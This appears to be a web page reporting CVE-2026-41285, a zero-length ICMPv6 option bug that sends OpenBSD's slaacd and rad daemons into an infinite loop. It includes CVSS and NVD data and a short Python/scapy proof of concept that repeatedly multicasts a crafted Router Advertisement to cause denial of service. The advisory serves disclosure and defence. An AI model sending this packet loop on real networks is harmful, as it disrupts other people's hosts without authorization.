Security Vulnerability Report
中文
CVE-2026-41285 CVSS 4.3 MEDIUM

CVE-2026-41285

Published: 2026-04-21 00:16:29
Last Modified: 2026-04-24 18:59:03

Description

In OpenBSD through 7.8, the slaacd and rad daemons have an infinite loop when they receive a crafted ICMPv6 Neighbor Discovery (ND) option (over a local network) with length zero, because of an "nd_opt_len * 8 - 2" expression with no preceding check for whether nd_opt_len is zero.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:openbsd:openbsd:*:*:*:*:*:*:*:* - VULNERABLE
OpenBSD <= 7.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
from scapy.all import * # Define the crafted ICMPv6 Neighbor Discovery Option with length 0 # This attempts to trigger the infinite loop in slaacd/rad # Target MAC and IP (adjust according to your network environment) target_mac = "00:0c:29:xx:xx:xx" src_mac = get_if_hwaddr("eth0") # Construct Ethernet frame eth = Ether(src=src_mac, dst="33:33:00:00:00:01") # Construct IPv6 header (Link-local addresses) ipv6 = IPv6(src="fe80::aaaa", dst="ff02::1") # Construct ICMPv6 Router Advertisement # We append a crafted option. Type 1 is Source Link-Layer Address, but we set Length to 0. # Normally Length is 1 (8 bytes). Setting to 0 triggers the bug. crafted_option = Raw(b"\x01\x00") # Type=1, Length=0 icmpv6_ra = ICMPv6ND_RA() # Assemble packet packet = eth / ipv6 / icmpv6_ra / crafted_option # Send the packet sendp(packet, iface="eth0", loop=1, inter=1) print("[+] Sending crafted ICMPv6 packets to trigger DoS...")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41285", "sourceIdentifier": "[email protected]", "published": "2026-04-21T00:16:29.480", "lastModified": "2026-04-24T18:59:03.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In OpenBSD through 7.8, the slaacd and rad daemons have an infinite loop when they receive a crafted ICMPv6 Neighbor Discovery (ND) option (over a local network) with length zero, because of an \"nd_opt_len * 8 - 2\" expression with no preceding check for whether nd_opt_len is zero."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openbsd:openbsd:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.8", "matchCriteriaId": "3F720762-1801-4CB9-827D-2D7F670BFC6B"}]}]}], "references": [{"url": "https://github.com/openbsd/src/commit/086c5738bcd3c203bcc08d024fcf983cb409115f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.openbsd.org/errata78.html", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://www.rfc-editor.org/rfc/rfc4861#section-4.6", "source": "[email protected]", "tags": ["Not Applicable"]}]}}